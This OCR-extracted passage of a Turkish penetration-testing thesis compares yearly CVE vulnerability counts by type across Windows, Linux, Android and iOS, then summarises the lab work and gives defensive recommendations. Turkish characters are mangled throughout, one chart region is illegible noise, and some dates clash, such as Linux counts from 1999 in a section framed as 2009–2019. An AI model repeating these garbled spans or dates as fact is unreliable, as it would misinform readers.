azalirken yeni bir CSRF zafiyeti tespit edilmistir. 2018 yilinda yaymlanan bir giivenlik yamasi
ile tim zafiyet ¢esitlerinde azalig goriilmektedir. 2019 yilinda OverFlow zafiyetleri artarken
diger zafiyetlerde azalis tespit edilmistir. 2019 yilindan itibaren Windows 7 igin giivenlik

destegi sona ermistir.
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Sekil 5.4. Windows 7 zafiyet cesitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).

Sekil 5.4.’de Windows 7 isletim sistemi iizerinde bulunan zafiyetler sematize edilmistir.

5.3. Windows 10 Zafiyet ve Somiirii Semalari

Bu boliimde Windows 10 isletim sistemin 2015-2019 yillar1 arasinda zafiyet cesitlerine bagl

olarak zafiyet sayist analizleri yapilmustir.
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Sekil 5.5. Windows 10 zafiyetleri tablosu (CVE, 2019).

Sekil 5.5.de goriildiigi gibi Windows 10 2015 yilinda ortaya ¢iktiginda DOS, Code Execution,
Overflow, Bellek Bozulmasi, Bypass, Bilgi Edinimi ve yetki ylikseltme zafiyetleri tespit
edilmistir. 2016 yilinda zafiyet sayilarinda artis meydana gelmistir. 2017 yilinda Overflow,
bellek bozulmasi ve Yetki Edinimi zafiyetleri bilylik 6l¢iide azaltilsa da DOS ve Bilgi toplama
zafiyetlerinde gozle goriiliir bir artis meydana gelmistir. Ayrica yeni bir XSS zafiyeti tespit
edilmistir. 2018 yilinda XSS zafiyeti giderilemese de diger zafiyet cesitlerinin sayisinda azalig
meydana gelmistir. 2019 yilinda XSS ve yetki edinimi zafiyeti ortadan kaldirilmis olup Code
Execution ve Overflow zafiyetlerinde artiy meydana gelmistir. Burada dikkat ¢eken
0zelliklerden biri Windows 10 i¢in heniiz hi¢gbir somiirii modiilii eklenmedigidir. Windows XP
ve Windows 7 isletim sistemlerinde metasploit tlizerinde hazir somiirii modiilleri mevcutken
hentiz Windows 10 i¢in herhangi bir somiirti modiilii eklenmemistir. Microsoft’un Windows 10
iizerinde 2019 Mayis ay1 sonu itibariyle yeni bir giincelleme yaptigi ve kullanicilara kademeli

bir sekilde dagitilmaya baslandigi bilinmektedir.
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Sekil 5.6. Windows 10 zafiyet ¢esitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).
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Sekil 5.6.’da Windows 10 isletim sistemi iizerinde bulunan zafiyetler sematize edilmistir.

5.4. Linux Zafiyet ve Somiirii Semalari

Bu boliimde 2009-2019 yillar1 arasinda Linux Cekirdegi {lizerinde var olan zafiyet sayilari

zafiyet cesitlerine bagl olarak analiz edilmistir.
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Sekil 5.7. Linux ¢ekirdegi zafiyetleri tablosu (CVE, 2019).

Sekil 5.7.’de Linux Cekirdegi iizerinde 2009-2019 yillar1 arasinda zafiyet cesitlerine bagh
olarak elde edilen zafiyet sayilarinin tablosu sunulmustur. Linux isletim Unix’ dayanmaktadir
ve 1991 yilinda piyasaya sunulmustur. 1999 yilinda Linux isletim sistemi lizerinde DOS,
Overflow, bypass ve Yetki Edinimi zafiyetleri tespit edilmistir. 2000 yilinda tespit edilen
zafiyetlerin bir¢ogu ortadan kalkarken var olanlarda gozle goriilen bir azalis meydana gelmistir.
2001 yilinda gergeklesen zafiyet artistn1 2002 yilinda bir azalis takip etmistir. Fakat 2002
yilinda Linux ¢ekirdek iizerinde ilk defa bir bilgi toplama zafiyeti tespit edilmistir. 2003 yilinda
var olan zafiyet sayisi artarken 2004 yilinda artan zafiyetlere Code Execution zafiyeti de
eklenmistir. 2005 yilinda yetki edinimi zafiyeti azalirken diger zafiyetlerde artig goriilmiis ve
bunlara bellek bozulmasi zafiyeti de eklenmistir. 2006 yilinda bazi zafiyetlerde iyilestirme
meydana gelirken baz1 zafiyetlerin sayisinda artig tespit edilmistir ve dizin agimi zafiyeti bu

zafiyetlere eklenmistir. 2007 yilinda bellek bozulmast ve dizin asimi zafiyetleri ortadan
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kaldirilirken diger zafiyet sayilar1 da genel olarak azalmistir. 2008 yilinda bellek bozulmasi
zafiyeti yeniden ortaya c¢ikmis ve diger zafiyet sayilarinda genel olarak bir artis meydana
gelmistir. 2009 yilinda genel olarak artan zafiyetlerle birlikte linux ¢ekirdegini somiiriilebilen
yeni somiiri modiilleri gelistirilmistir. 2010 yilinda yetki edinimi zafiyetlerinde bir azalis
gozlemlenirken diger zafiyetlerdeki artis devam etmektedir. 2011 yilinda DOS, Code Execution,
bypass, bilgi toplama ve yetki edinimi zafiyetleri sayis1 azaltilmistir. Bununla beraber somiirii
modiilleri sayisinda da bir azalis tespit edilmistir. 2012 yilinda zafiyet somiirii modiilleri
tamamen etkisizlestirilirken diger zafiyet sayilarinda artis meydana gelmistir. 2013 yilinda hem
sOmiri modiilleri hem de zafiyet sayilar1 arttirilmistir. 2014 yilinda DOS, Overflow ve Yetki
edinimi zafiyetlerindeki azalis dikkat ¢ekerken, exploit modiillerindeki artis godzden
kagmamaktadir. 2015 yilinda hem zafiyetlerde hem de somiirii modiillerinde gozle goriiliir bir
azalis s6z konusudur. 2016 ve 2017 yillarinda zafiyet sayilarinda genel olarak artis gézlenmistir.
2018 yilinda var olan zafiyetler azalirken 2019 yilinda minimum sayiya ulagsmistir. Linux
cekirdeginde dikkat ¢eken durumlardan biri Windows isletim sistemlerinde var olan XSS ve

CSRF zafiyetlerinin hig tespit edilmemesidir.
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Sekil 5.8. Linux zafiyet ¢esitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).

Sekil 5.8.’de Linux isletim sistemi iizerinde tespit edilen zafiyetler cesitlerine goére sematize

edilmistir.

5.5. Android Zafiyet ve Somiirii Semalari

Bu boliimde Android isletim sistemi tizerinde 2009-2019 yillar1 arasinda zafiyet ¢esitlerine bagl

olarak zafiyet sayilar1 incelenmistir.
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Sekil 5.9. Android zafiyetleri tablosu (CVE, 2019).

Sekil 5.9.°da Android isletim sistemi tlizerinde 2009-2019 yillar1 arasinda zafiyet cesitlerine
bagl olarak tespit edilen zafiyet sayilar1 sunulmustur. Linux c¢ekirdegine dayali ve mobil cihaz
isletim sistemi olarak kullanilarak Android ilk olarak 2005 yilinda piyasaya sunuldu. 2009
yilinda Android’in durmadan yeni siiriimlerinin gelistirilmesi sonucunda DOS ve bypass
zafiyetleri tespit edildi. 2010 yilinda bypass zafiyetleri ortadan kaldirilirken code Execution
zafiyeti eklendi. 2011 yilinda bypass zafiyetleri tekrar ortaya g¢ikarken bellek bozulmasi, bilgi
toplama ve yetki edinimi zafiyetleri tespit edildi. 2012 yilinda ilk defa overflow zafiyet tespiti
ve somiirii modiili eklemeleri yapildi. 2013 yilinda sémiirii modiillerinin iglevselligi ortadan
kaldirilirken diger zafiyetlerde genel olarak bir artis meydana geldi. 2014 yilinda ilk defa sql
injection zafiyeti tespit edildi. 2015 yilinda somiirii modiilleri ve sql injection zafiyetleri ortadan
kalkarken genel olarak diger zafiyet sayilarinda gozle goriillir bir artig tespit edildi. 2016 yilinda
zafiyet sayisindaki artiy devam etti. 2017 yilinda ilk defa dizin agim zafiyeti tespit edildi. 2018
yilinda zafiyet sayisinda genel olarak bir azalis tespit edilse de sql injection zafiyetleri tekrar
ortaya c¢iktt ve XSS zafiyet tespiti yapildi. 2019 yilinda var olan zafiyetlerin bircogu ortadan

kaldirilirken bir¢ogunun sayisinda azalma meydana gelmistir.
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Sekil 5.10. Android zafiyet ¢esitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).

Sekil 5.10°da androd isletim sistemi lizerinde bulunan zafiyetler g¢esitlerine gore sematize
edilmistir.

5.6. 10S Zafiyet ve Somiirii Semalari

Bu boliimde 10S isletim sistemleri {izerinde 2007-2019 yillan arasinda zafiyet ¢esitlerine bagh

olarak zafiyet sayilari incelenmistir.
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Sekil 5.11. IOS zafiyetleri tablosu (CVE, 2019).

Sekil 5.11.’de 10S isletim sistemi tizerinde 2007-2019 tarihlerinde zafiyet ¢esitlerine gore tespit
edilen zafiyet sayilari sunulmustur. I0S’un il siiriimii 2007 yilinda piyasaya ¢iktt ve Code

Execution, Overflow zafiyet tespitleri yapildi. 2008 yilinda IOS’un 2. Siiriimiiniin ¢ikmasiyla



296

Overflow zafiyetleri ortadan kaldirildi fakat DOS, bellek bozulmasi ve bilgi toplama
zafiyetlerinin eklenmesiyle zafiyet sayisinda bir artis meydana geldi. 2009 yilinda I0S’un 3.
Stiriimiiniin ¢ikmasi ile birlikte var olan zafiyetlere Overflow, XSS ve bypass zafiyetleri
eklenerek zafiyet sayisindaki artis devam etti ve ilk somiiriic modiilii eklendi. 2010 yilinda
10S’un 4. Siiriimii ile birlikte XSS zafiyetleri ortadan kalkarken bilgi toplama zafiyetleri eklendi
ve zafiyet sayisindaki artig devam etti. 2011 yilinda somiirii modiilleri etkisiz hale getirildi fakat
XSS zafiyetleri yeniden tespit edildi ve zafiyet sayisindaki artig devam etti. 2012 yilinda IOS’un
5. Ve 6. Siiriimiinlin de ortaya ¢ikmasiyla zafiyet sayis1 gozle goriiliir bir artis gosterdi. 2013
yilinda ¢ikan 7. Siiriim ile zafiyet sayilar azaltildi. 2014 yilinda 8. Siiriimde ilk defa dizin agim
zafiyeti tespit edildi ve zafiyet sayisinda genel bir artis goriildii. 2015 yilinda 9. Siirtim ile
birlikte XSS zafiyetleri ortadan kaldirilsa da CSRF zafiyeti ve yeni somiirii modiilii eklendi
zafiyet sayisindaki artis devam etti. 2016 yilinda 10S 10. Siirtimle birlikte var olan zafiyet
sayisinda gozle goriiliir bir azalis meydana geldi. 2017 yilinda IOS 11. Siirtim ile birlikte zafiyet
sayist ciddi oranda artti. 2018 yilinda var olan zafiyetler azaltilirken 2019 yilinda yapilan

iyilestirmelere ragmen genel zafiyet sayisindaki artis devam etmektedir.

Wahreoatebies By Typs
Bisae o™
¢ S ")

—
. »
! - Biwoitiacer
M Vore: atapm= N
dev pmmae I0e
.'22.4
CoREL ek T wg VT
[aa .'Jo 5t vmge
At 8 Dvecsy Tieexs ¥
“ ad ) ——
Kl bt e Iy |

Sekil 5.12. 10S zafiyet ¢esitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).

—_

Sekil 5.12°de IOS isletim sistemi iizerinde bulunan zafiyetler cesitlerine gore sematize
edilmistir.

5.7. Zafiyet Semalarimin Karsilastirilmasi ve Yorumlanmasi

Bu boliimde analizi yapilan zafiyet semalar1 arasinda Windows ve Linux isletim sistemleri

kendi arasinda Android ve IOS isletim sistemleri kendi arasinda zafiyet cesitleri bakimindan
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kiyaslanmustir. 2019 yili zafiyet cesitleri sayisina bagli olarak hangi alanlarda hangi isletim
sistemlerinin kullanilmasi gerektigi analiz edilmistir. Windows XP i¢in 2019 yilinda herhangi

bir giivenlik destegi saglanmadig1 icin Windows XP isletim sistemi i¢in 2017 y1l1 baz alinmustir.
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Sekil 5.13. Windows ve linux isletim sistemleri zafiyet kiyaslamasi.

Sekil 5.13’de Windows ve Linux igletim sistemlerinin en giincel hallerinin zafiyet kiyaslamasi
grafigi olusturulmustur. Bu grafigi iyi yorumlayabilmek amaciyla grafik {izerindeki zafiyetlerin
tanimlart yapilmistir. DOS (Denial of Service) saldirilari sistemler {izerinde tanimli
kullanicilarin kullandigi servislerin aksatilmasina dayali bir saldir1 ¢esididir. DOS saldirilarinin
sonucunda kullanilan servisler bozularak istemci tarafindan gelen istekleri reddetmeye ve cevap
vermemeye baslar. Bu durumda bilgi gilivenliginin erigilebilirlik maddesi ihlal edilmis olur.
DOS Saldirilarindan ¢ogunlukla aligveris siteleri, oyun satis platformlari yemek ve bankacilik
sektorii etkilenmektedir. Grafik incelendiginde DOS saldirilarina karst en savunmasiz olan
Linux isletim sistemi iken, bu saldir1 tipine karsi en direngli igletim sistemi Windows XP’dir.
Fakat DOS saldirilart hi¢bir zaman tam anlamryla engellenemez. Code Execution zafiyetleri bir
web uygulamasi iizerinden istenilen komutlarin yiiriitilmesine dayanan bir zafiyettir. Bu
giivenlik aciginda 6n kimlik dogrulamasi kullanici etkilesimine gerek kalmadan asilmaktadir ve
bu giivenlik agigin1 somiiren saldirgan herhangi bir yazilimi kullanarak savunmasiz
bilgisayardan digerleri iizerine yayilim saglayabilmektedir. Grafige gore en az Linux isletim
sisteminde gorilirken en ¢ok Windows 10 isletim sisteminde goriilmektedir. Overflow
zafiyetleri hatali bir sekilde kullanilan fonksiyonlardan olusan bir programda yer alan

degiskenlere saklama kapasitelerinin ¢ok tstiinde veri yiiklenmesi durumunda programlarin
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bozulmasina (crash) neden olan bir zafiyettir. Kapasite asildig1 i¢in normal akista bulunmayan
kodlar (shellcode) normal kodlar ile yer degistirebilmektedir. Bu durum sonucunda hedef sistem
lizerinde zararli yazilim kodlar1 yiiriitilmektedir. Grafige gore en az Windows XP iizerinde
goriiliirken en ¢ok Windows 10 isletim sistemi ilizerinde bulunmaktadir. Ag giivenliginde
bypass, bir saldirganin sistem veya ag erisimi elde etmek ic¢in gilivenlik mekanizmalarini
agmasina izin veren giivenlik sistemindeki bir kusurdur. Bypass giivenlik acig1 saldirgan
tarafindan yerlestirilen bir mekanizma veya tasarim iizerindeki bir kusur veya gelistiriciler
tarafindan birakilan alternatif bir erisim yolundan meydana gelmektedir. Grafige gore bypass
giivenlik ac¢ig1 en c¢ok Linux isletim sisteminde en az Windows XP isletim sisteminde
mevcuttur. Bilgi Toplama zafiyetleri bazen pentest araglariyla bazen direk google {lizerinden
hedef sistem hakkinda hassas bilgilerin toplanmast islemidir. Grafige gore bu giivenlik agigina
karsi en savunmasiz isletim sistemi Windows 10 iken en az risk tasiyan isletim sistemi
Windows XP’dir. Bellek bozulmasi zafiyeti daha ¢cok C, C++ yazilim dillerinden kaynakli
olarak ortaya c¢ikmaktadir. Bu tiir yazilimlardaki bellek giivenligi eksikligi saldirganlarin
programin davranigini degistirerek kontrolii tamamen ele gegirmesine neden olmaktadir. C/C++
gibi dillerde bellek yonetimi igin kullanilan malloc (), calloc () gibi fonksiyonlarin somiiriilmesi
sonucunda bir sonraki hafiza elemanlarina Ongoriilemeyen ve gegersiz pointer degerleri
atanabilir. Bu durum uygulama islemlerinin ¢okmesine neden olmaktadir. Grafige gore bu
zafiyet en ¢cok Windows 10 isletim sisteminde mevcutken, en az Windows XP ve Windows 7
isletim sistemlerinde bulunmaktadir. Yetki edinimi zafiyetleri saldirganin aga, ilgili veri ve
uygulamalara yiiksek yetkili erisim saglamak amaciyla programlama hatalarindan veya tasarim
hatalarindan yararlanilmasidir. Grafige gore bu zafiyete karst en savunmasiz isletim sistemi

Linux isletim sistemidir.
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Sekil 5.14. IOS ve android igletim sistemleri zafiyetleri kiyaslamasi.

Sekil 5.14’de mobil cihaz isletim sistemi olan IOS ve Android isletim sistemlerinin en giincel
hallerinin zafiyet kiyaslamasi yapilmistir. Bir oOnceki grafikten farkli olarak bu igletim
sistemlerinde SQL Injection ve XSS zafiyetleri mevcuttur. SQL Injection zafiyeti SQL
sorgusunun amacina miidahale edilerek veri tabanlarindan bilgi edilmesidir. XSS zafiyeti ise
istemci tarafinda gerceklesen bir kod enjeksiyon hatasidir. Saldirgan hedef web sayfasina zararl
bir kod gondererek hedef sistem {izerinde kotii amaghi komut dosyalarin c¢aligmasini
amaclamaktadir. Kotii amaglh web sayfasi ziyaret edildiginde ilgili zafiyet somiiriilmeye baslar.
Onaylanmamus kullanic1 girdileri kullanan web sayfalarinda bu zafiyet acik haldedir. Grafige
bakildiginda DOS saldirilarina karst IOS Android’e gore daha savunmasizdir. Code Execution
saldirilart s6z konusu oldugunda ise Android 10S’a karsi daha savunmasiz bir durumdadir.
Overflow saldirilarina karst Android 10S’a kars1 agik ara bir farkla daha giivenlidir. Bypass
zafiyetleri android igletim sisteminde somiiriiliirken 10S iizerinde bu zafiyet bulunmamaktadir.
Bellek bozulmasi zafiyetleri 10S isletim sisteminde daha fazladir. Bilgi toplama, sql injection

ve XSS zafiyetlerine kars1 [OS’un daha savunmasiz oldugu goriilmektedir.
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6. SONUC VE ONERILER

Bu c¢alisma kapsaminda Domain Controllera (Windows Server 2012) bagli Windows
XP, Windows 7, Windows 10, Linux, IIS Server ve MSSQL Server isletim sistemleri ve
sunucular1 kurularak hem igletim sitemleri iizerinde ayr1 ayri penetrasyon testi uygulamalar
yapilarak isletim sistemleri degerlendirilmis hem de pentest.com domain etki alanina sahip
Domain Controllerin ele gegirilmesini anlatan senaryolar uygulamalarla asama asama
gerceklestirilmistir. Bu senaryolarda gergeklestirilen islemler 6zel sektdrde bir penetrasyon testi
uzmaninin kurumsal firma iizerinde uyguladig: islemleri icermektedir. Ayrica android isletim
sistemi lizerinde penetrasyon testi uygulamalar1 gergeklestirmek amaci ile Kali Linux 2019
isletim sistemi lizerine Android 2.1, Android 2.2 ve Android 4.3 emiilatorleri kurularak, Kali
Linux 2019 iizerine kurulmus spf (smartphone pentes framework) araci ile Android 4.3
emiilatorii saldirgan cihaz, Android 2.2 ve Android 2.1 hedef cihaz olacak sekilde emiilatorler
yonlendirilmistir. Bu sayede android isletim sistemindeki zafiyetler gosterilerek saldirt
araclartyla somiirii elde edilmeye calisilmistir. Zafiyetli web sitesi laboratuvari {izerinde, web
uygulama giivenligi agiklar1 ve saldirt yOntemleri asama asama uygulamali olarak
gerceklestirilmistir.

Arastirmanin giris boliimiinde bilgi giivenligi, bilgi giivenligi bilesenleri, penetrasyon
testi, penetrasyon testi tipleri, penetrasyon testi kavramlari ve asamalar1 biitiinsel olarak
degerlendirilmistir. Bu sayede kapsamli ve etkin penetrasyon testi gerceklestirecek kurum ve
arastirmacilara, yapilmasi gereken islemleri genis bir vizyon ile ele almalar1 ve uygulanacak
testleri kapsamli olarak degerlendirmelerine ydnelik bir bakis agis1  kazandirilmasi
amaglanmustir.

Sanal laboratuvar dizayni ve kullanilan araglar boliimde kurulan sanal laboratuvarlarin
detaylar1 verilmis, kullanilan penetrasyon testi araglari, parametreleri ve kullanim yontemleri
asamali bir sekilde gorsel olarak sunulmustur. Penetrasyon testi asamalarinin ve
uygulamalarinin isletim sistemlerinin hangi katmanlarinda gerceklestirilebilecegi ve hangi
giivenlik aciklarindan yararlanilabilecegi hususlarinin daha iyi kavranmasi amaciyla isletim
sistemi mimarileri ve giivenlik mekanizmalar1 incelenerek degerlendirilmistir.

Uygulanan yontem ve kullanilan teknikler boliimiinde kurulan sanal laboratuvar
tizerinde gercgeklestirilen bilgi toplama asamalari, isletim sistemlerinin konfigiirasyon hatalar1 ve
mimarilerinden kaynakli zafiyetlerin somirilme islemleri icerikte belirtilen alt bagliklar
kapsaminda ayr1 ayr1 gergeklestirilmis ve zafiyet uygulamalari siniflandirilmistir. Ayrica bir

Domain Controller ele gecirme islemi asama asama uygulannustir. Isletim sistemlerinin
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konfiglirasyon eksikligi ve mimarilerinden kaynakli zafiyetlerinin somiiriilmesi disinda
olugturulan shellcode ve payloadlarla, exploit ve auxiliary modulleriyle yapilan saldir1 islemleri
siniflandirilmis ve siniflandirilan saldirt islemleri ayri1 ayri basliklar altinda uygulanmustir.
Android isletim sistemi iizerinde mobil saldir1 yontemleri gosterilerek degerlendirilmistir.
Ayrica sosyal miithendislik saldiri islemleri siniflandirilarak ilgili bagliklar altinda uygulamalari
ayr ayr1 gerceklestirilmis ve alinmasi gereken dnlemler belirtilmistir.

Web uygulama giivenligi boliimiinde web zafiyetleri kurulan zafiyetli web laboratuvari
tizerinde incelenmis ve zafiyetlerin sOmiiriilmesi islemleri igerik kisminda ayri basliklarda
uygulanarak gosterilmistir.

Isletim sistemi ve web uygulamalarimin zafiyetlerinin kiyaslanmasi ve yorumlanmasi
bolimiinde arastirmactya bir bakis agisi sunmasi amaciyla isletim sistemleri lizerinde mevcut
olan zafiyetler yillik olarak incelenmistir. Windows XP, Windows 7 , Windows 10, Linux,
Android ve I0OS isletim sistemleri i¢in incelenen zafiyetlerin en giincel verileri ele alinarak
grafikler ile gorsellestirilerek sunulmus ve kiyaslanarak yorumlanmustir.

Gergeklestirilen bu ¢alisma ile penetrasyon testleri adimlarini, popiiler isletim sistemleri
ve web uygulamalar iizerinde uygulayarak bu konuda c¢alisma yapmak isteyen aragtirmacilara
ve sektor calisanlarina bir kaynak olusturulmaya calisilmistir. Penetrasyon testlerinin popiiler
isletim sistemleri ve web uygulamalar tizerinde sadece belirli bir agidan degil de kapsamli ve
biitiinsel olarak ele alinmasina yonelik degerlendirilmesinin gerekliligi ve yontemleri sunulmaya
calistlmustir. Ozellikle iilkemizde penetrasyon testleri konusunda yapilan calismalarmn ve
literatiirde yer alan kaynaklarin kisitlilig1 diistintildiigiinde, calismanin rehber bir kaynak olacagi
ongoriilmektedir. Bu kapsamda ¢alismanin farkli platformlardaki penetrasyon testi asamalarini
bir biitiin olarak uygulamalarla sunulmasindan dolay1 sektor calisanlarina, arastirmacilara ve
bilgi glivenligi alaninda kendini gelistirmek isteyen bireylere fayda saglayacagi diistintilmiistiir.

Calismada gergeklestirilen penetrasyon testi adimlari ve sOmiiriilen zafiyetler
sonucunda suanda aktif olarak kullanilmakta olan sistemlerin de bu zafiyetleri bulundurdugu ve
ayni iglemlerle somiiriildiigii sonucuna ulagilmis ve gorseller yardimiyla sunulmustur.

Saldirganlarin gesitli giivenlik agiklarini somiirerek hassas verilere erisim saglamasi
kurumsal firmalara ve bireylere maddi ve manevi zararlar vermektedir. Kurumlarin IT (Bilgi
Teknolojiler) caliganlar1 ve diger personeller bilgi giivenligi konusunda farkindalik egitimleri ile
bilinglendirilmelidir. Kullanilan isletim sistemlerinin gilivenlik yamalar1 giincel tutulmalidir.
Sirketlerde ve kurumlarda kullanilan sistemlerin konfigiirasyon ayarlarmin yapilmasi
kullanicilar1 yetkilendirme islemleri, kimlik dogrulama asamalari, kullanici adi ve sifreleri

belirleme konusunda dikkatli olunmasi ve belirli araliklarla kontrol edilmesi gerekmektedir.



302

Sosyal miihendislik saldirilariin kurumlarin en zayif halkasindan gerceklestirilebilecegi
disiiniildiigiinde, yalnizca IT c¢alisanlarinin degil tiim personelin bilgilendirilmesi énem arz
etmektedir. Internet iizerinden gergeklestirilen saldirilarin birgogu web yazilimlarinin eksikligi
ve agikliklarindan kaynaklanmaktadir. Bu baglamda yazilim gelistiricilerin kod yazarken sistem
performans: kadar giivenligi de géz oniinde bulundurmalari gerekmektedir. Ozellikle banka,
hastane gibi kuruluslarin her yil en az iki defa kapsamli ve biitiinsel igerikteki penetrasyon
testlerini yaptirmalari faydali olacaktir. Penetrasyon testleri asamasinda secilecek firmanin
giivenilir olmasi ve penetrasyon testi yapacak uzmanlarla yapilacak giivenlik sézlesmeleri de
giivenlik acisindan 6nem arz etmektedir. Android cihazlar ve web uygulamalar: {izerinde daha
cok sosyal miihendislik saldirilar1 yontemlerinden biri olan kullanici tarafli saldirilarim
gerceklestigi  goriilmektedir. Diinyaca bilinen hackerlarin sistem veya cihaz zafiyetleri
tespitinden cok sosyal miihendislik saldirilarina basvurdugu goriilmektedir. Insanlar yardim
etme egiliminde oldugundan bilingsizce g¢alistiklar1 firmalari, kurum veya kuruluslar1 ya da
bireysel verilerini sosyal miihendislik saldirilarina agik hale getirmektedir. Android isletim
sistemlerinde her ne kadar virilis programlari mevcut olsa da bu programlar yiiklenme esnasinda
bir ¢cok alt dosyay1 izinlerini kabul ettirerek yliklemeyi zorunlu kilmaktadir. Bu durum da zararh
yazilimlarin viriis programi tarafindan tespitini zorlastirmakta ve giivenlik riskini arttirmaktadir.
Giivenlik konusunda android izin tabanli giivenlik mekanizmasi yetersiz kalmaktadir. Bu agidan
insanlar1 teknolojiyi kullanma konusunda bilinglendirmek kullanici tarafli saldirt yontemleri
hakkinda bilgilendirmek olduk¢a énemlidir. Isletim sistemleri giincellestirmeleri baz1 giivenlik
aciklarin1 kapatsa da yeni siirimler ortaya ¢iktikca yeni giivenlik agiklart da meydana
gelmektedir. Kotii niyetli kisiler yeni ¢ikan sistem agiklarini incelemekte ve sémiirli modiillerini
durmadan yenilemektedir. Yeni isletim sistemleri kullaniciya kolaylik saglamasi ve yeni
eklenen oOzellikleri ile her ne kadar kullaniciya cazip gelse de saldirganlar tarafindan
kesfedilecek ve sistem agikliklart tespit edilecek yeni hedef cihazlar olmaya devam edecektir.
Bu kapsamda bilgi giivenligi kavrami ve penetrasyon testlerinin dnemi artarak devam edecektir.
Yapilan bu c¢alisma ile popiiler isletim sistemleri ve web uygulamarindaki agikliklardan
yararlanilarak elde edilebilecek somiiriiler, bu somiiriilere kars1 alinabilecek tedbirler, kullanilan
araglar, metotlar ve yontemler uygulamali olarak gergeklestirilmis ve gorsellestirilerek asamalar
halinde sunulmustur. Bu sayede bilgi giivenligi konusunda ¢alisma yapmak isteyen dgrencilere
arastirmacilara ve Ozel sektor calisanlarina yon gosterecek nitelikte bir rehber kaynak

olusturulmaya ¢alisilmis ve faydali olacagi 6ngorillmiistiir.
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